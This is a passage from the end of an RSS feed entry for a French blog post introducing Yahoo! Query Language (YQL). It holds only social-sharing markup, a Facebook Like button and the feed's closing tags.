	<a rel="nofollow"  target="_blank" href="http://cimlap.blogter.hu/index.php?action=suggest_link&amp;title=Introduction%20%C3%A0%20Yahoo%21%20Query%20Language%20%28YQL%29&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fyql-yahoo-query-language.html" title="blogtercimlap"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogter.png" title="blogtercimlap" alt="blogtercimlap" class="sociable-hovers" /></a>


<br/><br/>
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fyql-yahoo-query-language.html" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mcherifi.org/developpement-web/yql-yahoo-query-language.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>

